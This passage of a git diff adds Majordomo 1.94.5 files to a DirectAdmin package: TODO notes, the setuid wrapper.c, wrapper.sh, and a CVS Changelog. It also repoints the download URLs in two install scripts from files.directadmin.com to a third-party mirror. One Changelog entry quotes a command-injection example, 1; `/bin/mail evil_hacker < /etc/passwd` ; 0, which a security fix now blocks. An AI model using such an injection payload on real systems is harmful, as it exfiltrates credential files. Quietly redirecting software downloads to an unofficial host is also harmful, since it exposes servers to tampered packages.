otherwise exit status 75 + file-process - see process, for get/put + resend-process - see process + + load - three floats (1, 5, 15 minute load average. 0.0 means + doesn't matter). If + uptime load > any one of these, then exit with code 75 to + have sendmail requeue the job and try later. + + file-times - a time/day spec for times that majordomo should process + get/index and other specs. Exit w/ code 75 if wrong time. + + resend-times - a time/day spec for when resend shouldn't run. + Exit w/ code 75 if wrong time. + + exclude-user - opposite of -I flag to exclude ability of people + to post to a mailing list. + +NOT: analyze code to make sure all areas that require locks are in place + +NOT: Analyze code to replace all mailer invocation with code that can be + set in the majordomo.cf file. This includes normalizing the + variable for the -f argument to sendmail, and the sendmail location etc. + +NOT: detect error condition (e.g. out of disk space) and deal with them + (e.g. check close return values) + +NOT: clean up messages that are put into the config file. Diction and + parallelism needs work. + +NOT: vett any and all \001's that may be in the config file. + +NOT: create an addin that uses the config file stuff. + +NOT: after alan's stuff add pre/post message hook to the code. + +NOT: add code to support incremental config file changes. + +NOT: Add support for delayed reply REPLY handling. + Remove sendmail open from majordomo, add send_reply command + have all prints to reply be pushes onto $Reply. + + First shot screwed up something with the filehandles. Need to + try again. It may be perl 4.019 rearing its ugly head. + +partial: add ability to add arbitrary headers to message + + config file elements in place as type string array. This should + probably be specialized so that only known or X- headers can + be specified. Also the code in resend has to be modified to + remove duplicate headers, and to allow override headers. + +DONE (12/8/93): add ability to add reply to header that has sender's + from address + + Just specify $SENDER as the value of the reply_to string. + Actually the entire set of $ elements recognized + by &config'substitute_values is recognized. + +DONE (11/18/93): fix bug with mixing pipleines that allows portions on + incoming data stream into config file due to fork. When + running write_config (formally mk_default_config). + +DONE: add configure get password + +DONE: add functions absolute_dir and absolute_file to look for / forms of + paths + +DONE: add support for enumerated keywords + +DONE: Add keyword subscribe_policy to have values open, closed, or auto + config file recognizes it, majordomo uses it. + +DONE: add support for array keyword values + Have added code to recognize key << END, and read it into a \001 + seperated stringified array. + + the only array values currently are: advertize/noadvertize + and majordomo can deal with the arrays. + + Also comments is an array, but is only for internal config file use. + +DONE: fix do_approve so it loads the config file when it gets called + this will allow config file password to be used for approves. + +DONE: fix keywords so they all use _ or - as a seperator character. + chose _ + +DONE: enhance resend so that trailer text can be added to the code. + keyword message_footer diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper new file mode 100644 index 0000000..a2712c8 Binary files /dev/null and b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper differ diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.c b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.c new file mode 100644 index 0000000..9cc5e3b --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.c @@ -0,0 +1,157 @@ +/* + * $Source: /sources/cvsrepos/majordomo/wrapper.c,v $ + * $Revision: 1.8 $ + * $Date: 1997/08/27 15:01:12 $ + * $Author: cwilson $ + * $State: Exp $ + * + * $Locker: $ + * + */ + +#ifndef lint +static char rcs_header[] = "$Header: /sources/cvsrepos/majordomo/wrapper.c,v 1.8 1997/08/27 15:01:12 cwilson Exp $"; +#endif + +#include +#include + +#if defined(sun) && defined(sparc) +#include +#endif + + +#ifndef STRCHR +# include +# define STRCHR(s,c) strchr(s,c) +#endif + +#ifndef BIN +# define BIN "/usr/local/mail/majordomo" +#endif + +#ifndef PATH +# define PATH "PATH=/bin:/usr/bin:/usr/ucb" +#endif + +#ifndef HOME +# define HOME "HOME=/usr/local/mail/majordomo" +#endif + +#ifndef SHELL +# define SHELL "SHELL=/bin/sh" +#endif + +char * new_env[] = { + HOME, /* 0 */ + PATH, /* 1 */ + SHELL, /* 2 */ +#ifdef MAJORDOMO_CF + MAJORDOMO_CF, /* 3 */ +#endif + 0, /* possibly for USER or LOGNAME */ + 0, /* possible for LOGNAME */ + 0, /* possibly for timezone */ + 0 +}; + +int new_env_size = 7; /* to prevent overflow problems */ + +main(argc, argv, env) + int argc; + char * argv[]; + char * env[]; + +{ + char * prog; + int e, i; + + if (argc < 2) { + fprintf(stderr, "USAGE: %s program [ ...]\n", argv[0]); + exit(EX_USAGE); + } + + /* if the command contains a /, then don't allow it */ + if (STRCHR(argv[1], '/') != (char *) NULL) { + /* this error message is intentionally cryptic */ + fprintf(stderr, "%s: error: insecure usage\n", argv[0]); + exit(EX_NOPERM); + } + + if ((prog = (char *) malloc(strlen(BIN) + strlen(argv[1]) + 2)) == NULL) { + fprintf(stderr, "%s: error: malloc failed\n", argv[0]); + exit(EX_OSERR); + } + + sprintf(prog, "%s/%s", BIN, argv[1]); + + /* copy the "USER=" and "LOGNAME=" envariables into the new environment, + * if they exist. + */ + +#ifdef MAJORDOMO_CF + e = 4; /* the first unused slot in new_env[] */ +#else + e = 3; /* the first unused slot in new_env[] */ +#endif + + for (i = 0 ; env[i] != NULL && e <= new_env_size; i++) { + if ((strncmp(env[i], "USER=", 5) == 0) || + (strncmp(env[i], "TZ=", 3) == 0) || + (strncmp(env[i], "LOGNAME=", 8) == 0)) { + new_env[e++] = env[i]; + } + } + + +#if defined(SETGROUP) +/* renounce any previous group memberships if we are running as root */ + if (geteuid() == 0) { /* Should I exit if this test fails? */ + char *setgroups_used = "setgroups_was_included"; /* give strings a hint */ +#if defined(MAIL_GID) + int groups[] = { POSIX_GID, MAIL_GID, 0 }; + if (setgroups(2, groups) == -1) { +#else + int groups[] = { POSIX_GID, 0 }; + if (setgroups(1, groups) == -1) { +#endif + extern int errno; + + fprintf(stderr, "%s: error setgroups failed errno %d", argv[0], + errno); + } +} +#endif + + +#ifdef POSIX_GID + setgid(POSIX_GID); +#else + setgid(getegid()); +#endif + +#ifdef POSIX_UID + setuid(POSIX_UID); +#else + setuid(geteuid()); +#endif + + if ((getuid() != geteuid()) || (getgid() != getegid())) { + fprintf(stderr, "%s: error: Not running with proper UID and GID.\n", argv[0]); + fprintf(stderr, " Make certain that wrapper is installed setuid, and if so,\n"); + fprintf(stderr, " recompile with POSIX flags.\n"); + exit(EX_SOFTWARE); + } + + execve(prog, argv+1, new_env); + + /* the exec should never return */ + fprintf(stderr, "wrapper: Trying to exec %s failed: ", prog); + perror(NULL); + fprintf(stderr, " Did you define PERL correctly in the Makefile?\n"); + fprintf(stderr, " HOME is %s,\n", HOME); + fprintf(stderr, " PATH is %s,\n", PATH); + fprintf(stderr, " SHELL is %s,\n", SHELL); + fprintf(stderr, " MAJORDOMO_CF is %s\n", MAJORDOMO_CF); + exit(EX_OSERR); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.sh b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.sh new file mode 100644 index 0000000..494db10 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/wrapper.sh @@ -0,0 +1,13 @@ +#! /bin/sh +PATH=/bin:/usr/bin +IFS=" " + +if [ -d /sys/node_data ]; then + arch="DomainOS" + else + arch=`arch` +fi + +exec $0.${arch} "$@" + +# $Header: /sources/cvsrepos/majordomo/wrapper.sh,v 1.4 1994/05/09 17:41:29 rouilj Exp $ diff --git a/directadmin-1.62.4/scripts/packages/ncftp-3.2.6-src.tar.gz b/directadmin-1.62.4/scripts/packages/ncftp-3.2.6-src.tar.gz new file mode 100644 index 0000000..be16aa6 Binary files /dev/null and b/directadmin-1.62.4/scripts/packages/ncftp-3.2.6-src.tar.gz differ diff --git a/directadmin-1.62.4/scripts/packages/services.tar.gz b/directadmin-1.62.4/scripts/packages/services.tar.gz new file mode 100644 index 0000000..0c52123 Binary files /dev/null and b/directadmin-1.62.4/scripts/packages/services.tar.gz differ diff --git a/directadmin-1.62.4/scripts/packages/services.tar.gz.md5 b/directadmin-1.62.4/scripts/packages/services.tar.gz.md5 new file mode 100644 index 0000000..bd5d2eb --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/services.tar.gz.md5 @@ -0,0 +1 @@ +e217b8408be282fec0ad2f1f11a54a0b services_es80_64.tar.gz diff --git a/directadmin-1.62.4/scripts/packages/sysbk.tar.gz b/directadmin-1.62.4/scripts/packages/sysbk.tar.gz new file mode 100644 index 0000000..44a3310 Binary files /dev/null and b/directadmin-1.62.4/scripts/packages/sysbk.tar.gz differ diff --git a/update.tar.gz b/update.tar.gz index 7cbcc6d..a46ae87 100644 Binary files a/update.tar.gz and b/update.tar.gz differ diff --git a/update/scripts/majordomo.sh b/update/scripts/majordomo.sh index e06fba5..b8cc4dd 100644 --- a/update/scripts/majordomo.sh +++ b/update/scripts/majordomo.sh @@ -3,7 +3,7 @@ OS=`uname` -SERVER=http://files.directadmin.com/services/all/majordomo +SERVER=http://da-mirror.wpcloud.vn/services/all/majordomo ADDPATCHES=1 SOURCEPATH="/usr/local/directadmin/scripts/packages/majordomo-1.94.5" diff --git a/update/scripts/ncftp.sh b/update/scripts/ncftp.sh index 47168e7..99e93a0 100644 --- a/update/scripts/ncftp.sh +++ b/update/scripts/ncftp.sh @@ -4,7 +4,7 @@ CWD=`pwd` NAME=ncftp VERSION=3.2.6 -PRIMARY=http://files.directadmin.com/services +PRIMARY=http://da-mirror.wpcloud.vn/services SECONDARY=http://files3.directadmin.com/services SAVE=/usr/local/directadmin/scripts/packages FILE=${NAME}-${VERSION}-src.tar.gz diff --git a/update/scripts/packages/majordomo-1.94.5-patched.tar.gz b/update/scripts/packages/majordomo-1.94.5-patched.tar.gz new file mode 100644 index 0000000..6de3bad Binary files /dev/null and b/update/scripts/packages/majordomo-1.94.5-patched.tar.gz differ diff --git a/update/scripts/packages/majordomo-1.94.5/Changelog b/update/scripts/packages/majordomo-1.94.5/Changelog new file mode 100644 index 0000000..2a9ea16 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Changelog @@ -0,0 +1,2418 @@ +Changes since 1.94.3: + +archive2.pl 1.10:1.9 + revision 1.10 + date: 1997/08/27 15:07:44; author: cwilson; state: Exp; lines: +22 -7 + From: coar@decus.org (Rodent of Unusual Size) + Message-id: <97071613415025@decus.org> + + o capability for 4 digit years + + However, just in case it's not, here's a patch to archive2.pl that + adds -D, -M, and -Y flags that have the same meanings as their + lower-case counterparts - except that the year is 4 digits rather + than 2. + ---------------------------- +config-test 1.18:1.17 + revision 1.18 + date: 1997/08/27 15:17:13; author: cwilson; state: Exp; lines: +3 -3 + o Checks to make sure that $log is actually a file. + ---------------------------- +config_parse.pl 1.64:1.63 + revision 1.64 + date: 1997/08/27 14:41:32; author: cwilson; state: Exp; lines: +17 -1 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/config_majordomo.0 ] + + From: Bill Houle + Message-Id: <3.0.32.19970430180123.00989de0@www.sandiegoca.ncr.com> + + The following patches implement the 'welcome=yes/no' and + 'announcements=yes/no' keywords for Majordomo 1.94.3. Both features have + been requested several times on the -users mailing list. In the past I had + described how our site implemented these for 1.93 using the new_keyword() + API function call, but since I am in the process of upgrading I figured I'd + do it this time as a real patch. I submit them for local implementation and + hopeful incorporation into 1.94.4. (Yes, I know these are new features + which are not typical for inclusion in a point release. But heck, they are + so simple its laughable...) + ---------------------------- +digest 1.23:1.22 + revision 1.23 + date: 1997/08/27 14:42:52; author: cwilson; state: Exp; lines: +30 -13 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/digest.0 ] + + From: Dave Wolfe + Message-Id: <199703191509.JAA11070@miaow.risc.sps.mot.com> + + These patches fix some problems recently identified in digest, but are + virtually untested. They address undefined variables when the non-C form + of configuration is used and file globbing failures (i.e. "No messages" + aborts when there are plenty of messages to digest). While I have the + highest confidence in the changes, unless someone can verify them I + can't that they be placed in the release. They should be tested + *both* with and without using the -C option. + ---------------------------- +majordomo 1.88:1.87 + revision 1.88 + date: 1997/08/27 14:55:29; author: cwilson; state: Exp; lines: +21 -41 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.0 ] + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.1 ] + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.2 ] + + From: Dave Wolfe + Message-Id: <199705011522.KAA14948@miaow.risc.sps.mot.com> + + o Race condition: + + The problem is a window when Mj is unsubscribing an address between the + time the list file is unlinked and the updated file is linked to the + list file name. + + From: Dave Wolfe + Message-Id: <199705022106.QAA20060@miaow.risc.sps.mot.com> + + o Config lock not being freed: + + I discovered a case when a config lock isn't freed when newconfig fails + due to errors in the settings then a following (in the same message) + config or writeconfig command fails because set_lock() is called again + without the lock ever being freed. I suppose I could make set_lock() + less picky, but the problem is actually bad logic in do_newconfig(), so + I'd rather fix that. Here's the patch against 1.94.3: + + From: Dave Wolfe + Message-Id: <199705051358.IAA15196@miaow.risc.sps.mot.com> + + o EOF tests failing due to intervening filehandle resets. + + Since I use my lockf() version of shlock.pl, I discovered that the tests + for eof on the command input stream in do_newinfo() and do_newintro() + make a rather tenuous assumption in at least one case for each function + because there's an intervening log() call (and resulting file locking) + between the last input from the command stream and the eof test on the + last filehandle read. + ---------------------------- +majordomo.pl 1.56:1.55 + revision 1.56 + date: 1997/08/27 14:58:53; author: cwilson; state: Exp; lines: +10 -10 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 ] + + From: Dave Wolfe + Message-Id: <199705201456.JAA04154@miaow.risc.sps.mot.com> + + o Mungedomain doesn't work due to is_list_member() bug + + > > The problem I am having is that mungedomain seems not to work + > > when the subscribed person is a@b.c and the From: line in the + > > mail is a@d.b.c. [ on 1.94.3 ] + > + > You have also found a bug. It's even worse if you list a file other than + > the list in 'restrict_post'. I'm working on it but since I'm out this + > afternoon and have a training class the next 2 days, it may be awhile + > before I have a patch for it. + > + > For those who care, is_list_member() in majordomo.pl clobbers + > $clean_list before it uses it to call cf_ck_bool() to get the value + > of 'mungedomain'. Then there's the problem of it not making sure that + > get_config() has been called for $clean_list, not to mention that resend + > calls is_list_member() with the value of 'restrict_post' that might not + > even be a list at all! + + Turns out this wasn't as tricky as I feared once I made the assumption + that only the "current list" 'mungedomain' applied. Here's patches + against 1.94.3: + ---------------------------- +resend 1.86:1.85 + revision 1.86 + date: 1997/08/27 14:59:24; author: cwilson; state: Exp; lines: +4 -8 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/majordomo.pl.0 ] + + From: Dave Wolfe + Message-Id: <199705201456.JAA04154@miaow.risc.sps.mot.com> + + o Mungedomain doesn't work due to is_list_member() bug + + > > The problem I am having is that mungedomain seems not to work + > > when the subscribed person is a@b.c and the From: line in the + > > mail is a@d.b.c. [ on 1.94.3 ] + > + > You have also found a bug. It's even worse if you list a file other than + > the list in 'restrict_post'. I'm working on it but since I'm out this + > afternoon and have a training class the next 2 days, it may be awhile + > before I have a patch for it. + > + > For those who care, is_list_member() in majordomo.pl clobbers + > $clean_list before it uses it to call cf_ck_bool() to get the value + > of 'mungedomain'. Then there's the problem of it not making sure that + > get_config() has been called for $clean_list, not to mention that resend + > calls is_list_member() with the value of 'restrict_post' that might not + > even be a list at all! + + Turns out this wasn't as tricky as I feared once I made the assumption + that only the "current list" 'mungedomain' applied. Here's patches + against 1.94.3: + ---------------------------- +sample.cf 1.34:1.33 + revision 1.34 + date: 1997/08/27 15:00:31; author: cwilson; state: Exp; lines: +3 -3 + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/sample.cf.0 ] + [ ftp://sol.ccsf.cc.ca.us/majordomo-patches/1.94.3/sample.cf.1 ] + + o Uncommented $config'default_subscribe_policy + o made the sample taboo stuff valid perl5. + ---------------------------- +wrapper.c 1.8:1.7 + revision 1.8 + date: 1997/08/27 15:01:12; author: cwilson; state: Exp; lines: +6 -4 + o Fixes security hole with ENV overrun by limiting env size. + ---------------------------- + +Changes since 1.94.2: +o Quick respin to remove spurious wrapper and fix medit. + +Changes since 1.94.1: + +Doc/list-owner-info 1.9:1.10 + revision 1.10 + date: 1997/04/05 19:18:10; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199704031832.MAA19186@miaow.risc.sps.mot.com> + o more documentation fixes. + ---------------------------- +Doc/majordomo-faq.html 1.2:1.3 + revision 1.3 + date: 1997/04/27 14:57:00; author: cwilson; state: Exp; lines: +85 -48 + latest revisions + ---------------------------- +Doc/majordomo-faq.txt 1.1:1.2 + revision 1.2 + date: 1997/04/27 14:57:05; author: cwilson; state: Exp; lines: +929 -854 + latest revisions + ---------------------------- +Doc/man/digest.1 1.3:1.4 + revision 1.4 + date: 1997/04/20 16:25:43; author: cwilson; state: Exp; lines: +5 -2 + From: Jerry Peek + Message-Id: <199704170123.SAA07648@rock.west.ora.com> + + o The three-argument form of mkdigest hasn't been covered in digest.1 + and majordomo.8 + ---------------------------- +Doc/man/majordomo.8 1.4:1.5 + revision 1.5 + date: 1997/04/20 16:25:49; author: cwilson; state: Exp; lines: +45 -3 + From: Jerry Peek + Message-Id: <199704170123.SAA07648@rock.west.ora.com> + + o The three-argument form of mkdigest hasn't been covered in digest.1 + and majordomo.8 + ---------------------------- +INSTALL 1.7:1.10 + revision 1.10 + date: 1997/04/20 16:10:30; author: cwilson; state: Exp; lines: +12 -10 + From: Dave Wolfe + Message-Id: <199704102032.PAA19530@miaow.risc.sps.mot.com> + + o More doc nits for 1.94.2 + ---------------------------- + revision 1.9 + date: 1997/03/11 10:19:33; author: cwilson; state: Exp; lines: +21 -21 + o Swap steps 8 and 9 -- alias setup before attempting to register. + ---------------------------- + revision 1.8 + date: 1997/03/11 10:11:59; author: cwilson; state: Exp; lines: +1 -1 + From: Jerry Peek + Message-ID: <17276.852523071@rubble.west.ora.com> + + o Wrong filename in 1.94.1 INSTALL file + ---------------------------- +Makefile 1.56:1.61 + revision 1.61 + date: 1997/04/27 14:55:50; author: cwilson; state: Exp; lines: +4 -7 + From: Nicole LaRock Decker + Message-ID: + + o fixes bounce-remind and bounce pointing at each other. + ---------------------------- + revision 1.60 + date: 1997/03/12 16:50:46; author: cwilson; state: Exp; lines: +5 -5 + o version 1.94.2 + ---------------------------- + revision 1.59 + date: 1997/03/11 10:15:16; author: cwilson; state: Exp; lines: +9 -4 + From: Jerry Peek + Message-ID: <15010.852502798@rubble.west.ora.com> + + o install resend.1 and bounce.1 + + Message-ID: <15389.852505074@rubble.west.ora.com> + + o change install.sh flag from -o to -O: + I'm using SunOS 4.1.3, one of the systems (with filesystem quotas) + that only allows root to use chown. As far as I can tell, the 1.94.1 + Makefile is supposed to be runnable by the Majordomo user. It fails + because install.sh tries to run chown as a non-root user: + + % make install-scripts + Testing for perl (/usr/local/bin/perl)... + Configuring scripts... + ./install.sh -m 751 -o 123 -g 45 . /tmp/majordomo + Must be root to use chown + *** Error code 1 + make: Fatal error: Command failed for target `install-scripts' + + I haven't followed this problem real closely since I griped about it + for 1.94. I'm sending a patch (below) that seems to work for 1.94.1. + + The install.sh script has two flags for setting ownership, -o and -O. + If you use -o, it seems to always do chown. But if you use -O, it will + only do chown if it's running as root. So my fix just changes that flag. + + I haven't tested this as root -- or on other systems (that let non-root + users do chown). Someone should! + ---------------------------- + revision 1.58 + date: 1997/03/11 09:59:27; author: cwilson; state: Exp; lines: +7 -3 + From: Jerry Peek + Message-ID: <3908.853689282@rubble.west.ora.com> + + o install bounce and resend man pages instead of a stub file. + ---------------------------- + revision 1.57 + date: 1997/03/10 16:08:09; author: cwilson; state: Exp; lines: +4 -4 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + Message-ID: 199701081942.NAA16946@miaow.risc.sps.mot.com + + o A little fix to help idiot-proof the installation since directories + almost always return true for "test -x": + ---------------------------- +NEWLIST 1.3:1.5 + revision 1.5 + date: 1997/04/02 10:32:06; author: cwilson; state: Exp; lines: +6 -6 + From: Dave Wolfe + Message-Id: <199703241956.NAA12000@miaow.risc.sps.mot.com> + + o 1.94 -> 1.94.2 + ---------------------------- + revision 1.4 + date: 1997/03/11 10:01:17; author: cwilson; state: Exp; lines: +10 -11 + From: Jerry Peek + Message-ID: <1447.853639763@rubble.west.ora.com> + + o small nits and typos. + ---------------------------- +README 1.36:1.38 + revision 1.38 + date: 1997/04/20 16:10:39; author: cwilson; state: Exp; lines: +4 -4 + From: Dave Wolfe + Message-Id: <199704102032.PAA19530@miaow.risc.sps.mot.com> + + o More doc nits for 1.94.2 + ---------------------------- + revision 1.37 + date: 1997/04/07 18:56:56; author: cwilson; state: Exp; lines: +19 -18 + From: Dave Wolfe + Message-Id: <199704071503.KAA16480@miaow.risc.sps.mot.com> + + o more doc fixes. + ---------------------------- +approve 1.13:1.15 + revision 1.15 + date: 1997/04/05 19:18:36; author: cwilson; state: Exp; lines: +4 -3 + o Eliminate the "apparently-to" bit + ---------------------------- + revision 1.14 + date: 1997/04/02 10:34:09; author: cwilson; state: Exp; lines: +10 -3 + o tries slightly to find the right sendmail. + ---------------------------- +config-test 1.15:1.17 + revision 1.17 + date: 1997/03/10 17:22:05; author: cwilson; state: Exp; lines: +2 -2 + make config-test execute itself with arguments if it has to. + + "I don't want to die." + "You must, and with a -foo -zot -bang" + "Oh, well, okay." + ---------------------------- + revision 1.16 + date: 1997/03/10 15:45:12; author: cwilson; state: Exp; lines: +9 -8 + From: Dave Wolfe + Message-Id: <199702262130.PAA15843@miaow.risc.sps.mot.com> + + o Patches to fix nits in config-test -w fixes primarily. + ---------------------------- +config_parse.pl 1.60:1.63 + revision 1.63 + date: 1997/04/20 16:06:58; author: cwilson; state: Exp; lines: +15 -9 + From: Dave Wolfe + Message-Id: <199704160058.TAA16410@miaow.risc.sps.mot.com> + + o tighten up the regexp check in grab_regexp_array so that + things like + 1; `/bin/mail evil_hacker < /etc/passwd` ; 0 + aren't allowed. + ---------------------------- + revision 1.62 + date: 1997/03/10 17:19:54; author: cwilson; state: Exp; lines: +17 -8 + From: Dave Wolfe + Message-Id: <199702202147.PAA14970@miaow.risc.sps.mot.com> + + o Locking patch: + + |I've suspected for quite awhile that list.config file locking had some + |holes in it. I can confirm this now by simply mailing off sequences of + |writeconfig, newconfig, config commands in each of 20 messages (although + |it doesn't take that many) at one-second intervals. I get the full array + |of aborts, warnings, invalid passwords, and even a few successes in + |response. After making the changes that generated this patch, every + |command succeeds, although the config files returned are unpredictable + |since there's no locking between each command in a message (I think + |that may also be a hole or a feature, depending on your point of view, + |but at least it doesn't clobber the file as a result). But first, a + |little background for anyone who's interested and to facilitate your + |checking that I've covered all the cases and haven't introduced yet more + |problems. + | + |There are two locking mechanisms involved in list config files. One is + |specific to the config file itself, which I'll refer to as the "L.lock", + |and is implemented through lopen() by creating a lock file with an + |"L." prefix. The other is for the set of list config files, including + |various temporary files, which I'll refer to as the "lock.LOCK" and is + |implemented by higher level functions calling set_lock() with the list + |config file name suffixed by ".LOCK" for the lock file name. + | + |The core functions which manipulate list config locking include: + | + |writeconfig -- This is a low-level function that writes a list config + |file from the current in-memory settings. It assumes the lock.LOCK is + |set but doesn't use any L.locks for either its temporary file + |(*.config.out) or the config file. + | + |get_config -- This low-level function sets the lock.LOCK and + |conditionally calls writeconfig() to set configuration defaults if no + |list config file exists. It then L.locks and reads the list config file + |to set up the in-memory configuration, releases the L.lock and then the + |lock.LOCK. + | + |do_config -- This high-level function calls get_config() but uses no + |locks while copying the list config file to the mailer to fulfill the + |request. + | + |do_newconfig -- This high-level function calls get_config(), L.locks the + |new list config file while it writes it, but releases it before setting + |the lock.LOCK while renaming the old and new list config files. + | + |do_writeconfig -- This high-level function calls get_config() and then + |calls writeconfig() without any sort of locking. + | + |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the + |entire time it's working), but it's not apparent that anything less will + |work. + | + | + |Several locking windows are apparent in the high-level functions. + | + |do_config releases all locks (via get_config()) before copying the + |(possibly changed) list config file to the mailer. + | + |do_newconfig replaces the list config file with a file that it may + |not have written (since it releases the L.lock on the new file before + |obtaining the lock.LOCK), which could cause newconfig commands to appear + |to execute out of order (but this is a problem inherent in MTA queueing + |anyway), and similarly verify a password that's no longer valid if the + |list config file is replaced between the return from get_config() and + |either subsequent lock. + | + |do_writeconfig could completely mangle the list config file since it + |fails to honor any extant locks. + | + |In addition, two levels of locking seems to be overkill. A persistent + |lock such as is the lock.LOCKing is necessary and easy to use, although + |perhaps a bit coarse. Using L.locking in addition is simply needless + |overhead. + | + |The fix is to set the lock.LOCK around all list config file manipulation + |for each of the do_*config commands. Since locks can't be nested, the + |fact that the lock.LOCK is already set (and must not be released) is + |communicated to get_config by adding an optional third argument to + |get_config. When this argument is true, get_config doesn't attempt to + |set or free the lock.LOCK for the config file. Appropriate changes are + |made in each of the do_*config functions to set and free the lock.LOCK + |and call get_config with the new third argument set. Additionally, calls + |to lopen/lclose under a lock.LOCK were simplified to open/close calls to + |reduce overhead. All other calls to get_config are left as is to allow + |get_config to set the lock.LOCK while it defaults/reads the list config + |file. + | + |The following patches implement this fix to the problems noted above. + |They apply to an unpatched 1.94.1: + ---------------------------- + revision 1.61 + date: 1997/03/10 16:14:41; author: cwilson; state: Exp; lines: +43 -27 + From: dwolfe@risc.sps.mot.com (Dave Wolfe) + + o tidy up the documentation a bit. + ---------------------------- +contrib/archive_mh.pl 1.3:1.4 + revision 1.4 + date: 1997/03/10 15:40:41; author: cwilson; state: Exp; lines: +3 -3 + typo: require + ---------------------------- +contrib/makeindex.pl 1.4:1.5 + revision 1.5 + date: 1997/03/11 10:04:47; author: cwilson; state: Exp; lines: +1 -1 + From: Bill + Message-Id: <1.5.4.32.19970117000234.006bfee8@mail.nas.com> + + o catches cc:mail reply prefixes "Re[3]" + ---------------------------- +digest 1.20:1.22 + revision 1.22 + date: 1997/03/10 17:11:25; author: cwilson; state: Exp; lines: +5 -5 + o use -c configfile to specify a different config file. + ---------------------------- + revision 1.21 + date: 1997/03/10 15:49:26; author: cwilson; state: Exp; lines: +21 -14 + From: Oliver Xymoron + Message-ID: + + o This changes digest to use a reasonable default for resend_host if it + is unset. + + From: Dave Wolfe + Message-Id: <199703062200.QAA19582@miaow.risc.sps.mot.com> + + o Since I don't run any digests, I didn't give digest the same close + scrutiny, and decided it was adequate (I'd already fixed one locking + problem there). Recent analysis in light of problems experienced by + digest users (posting to Mj-users) has convinced me that there are still + a couple of problems with digest's locking. + + The first is, that no matter which kind of configuration is used, + the lock is not established until after the volume/issue counts are + read from the respective config files, which could cause incorrect + incrementing of counts. Secondly, in the case of the -C option, the + list-digest.config file is updated without being locked at all, which + could cause loss of counts or configuration parameters. + + This patch should take care of the problems so long as -C and non-C + invocations of digest are *not* used for the same list. Although the + changes are pretty straight forward, I didn't want this patch to miss + 1.94.2 so I publishing it without complete testing. I will try to run + some tests in the next week however. This is against unpatched 1.94.1. + ---------------------------- +majordomo 1.76:1.87 + revision 1.87 + date: 1997/04/20 16:11:49; author: cwilson; state: Exp; lines: +4 -3 + From: "Kendall P. Bullen" + Message-ID: + + o skip directories in do_lists. + ---------------------------- + revision 1.86 + date: 1997/04/20 16:07:30; author: cwilson; state: Exp; lines: +4 -4 + From: "Russell Steinthal" + Message-Id: <199704080042.UAA20817@mailrelay1.cc.columbia.edu> + + o help message fix. + ---------------------------- + revision 1.85 + date: 1997/04/02 11:31:15; author: cwilson; state: Exp; lines: +13 -13 + From: Brock Rozen + Message-Id: + + o Patch for text errors in 1.94.2 in majordomo + ---------------------------- + revision 1.84 + date: 1997/04/02 10:33:38; author: cwilson; state: Exp; lines: +5 -5 + o adds subscriber to notification messages sent to owner. + ---------------------------- + revision 1.83 + date: 1997/04/02 09:29:55; author: cwilson; state: Exp; lines: +9 -5 + o Fixed comment on rcs|cvs|core line + o fixed "this is version $majordomo_version" + ---------------------------- + revision 1.82 + date: 1997/03/12 16:51:00; author: cwilson; state: Exp; lines: +17 -17 + o those pesky @ signs. + ---------------------------- + revision 1.81 + date: 1997/03/11 10:44:58; author: cwilson; state: Exp; lines: +193 -4 + From: "Roger B.A. Klorese" + Message-Id: <3.0.1.32.19970120185923.0306366c@pop.queernet.org> + + o MajorDumbo help file (insert smiley here) + additional dumbo-user text from do_help. + ---------------------------- + revision 1.80 + date: 1997/03/10 17:20:00; author: cwilson; state: Exp; lines: +36 -32 + From: Dave Wolfe + Message-Id: <199702202147.PAA14970@miaow.risc.sps.mot.com> + + o Locking patch: + + |I've suspected for quite awhile that list.config file locking had some + |holes in it. I can confirm this now by simply mailing off sequences of + |writeconfig, newconfig, config commands in each of 20 messages (although + |it doesn't take that many) at one-second intervals. I get the full array + |of aborts, warnings, invalid passwords, and even a few successes in + |response. After making the changes that generated this patch, every + |command succeeds, although the config files returned are unpredictable + |since there's no locking between each command in a message (I think + |that may also be a hole or a feature, depending on your point of view, + |but at least it doesn't clobber the file as a result). But first, a + |little background for anyone who's interested and to facilitate your + |checking that I've covered all the cases and haven't introduced yet more + |problems. + | + |There are two locking mechanisms involved in list config files. One is + |specific to the config file itself, which I'll refer to as the "L.lock", + |and is implemented through lopen() by creating a lock file with an + |"L." prefix. The other is for the set of list config files, including + |various temporary files, which I'll refer to as the "lock.LOCK" and is + |implemented by higher level functions calling set_lock() with the list + |config file name suffixed by ".LOCK" for the lock file name. + | + |The core functions which manipulate list config locking include: + | + |writeconfig -- This is a low-level function that writes a list config + |file from the current in-memory settings. It assumes the lock.LOCK is + |set but doesn't use any L.locks for either its temporary file + |(*.config.out) or the config file. + | + |get_config -- This low-level function sets the lock.LOCK and + |conditionally calls writeconfig() to set configuration defaults if no + |list config file exists. It then L.locks and reads the list config file + |to set up the in-memory configuration, releases the L.lock and then the + |lock.LOCK. + | + |do_config -- This high-level function calls get_config() but uses no + |locks while copying the list config file to the mailer to fulfill the + |request. + | + |do_newconfig -- This high-level function calls get_config(), L.locks the + |new list config file while it 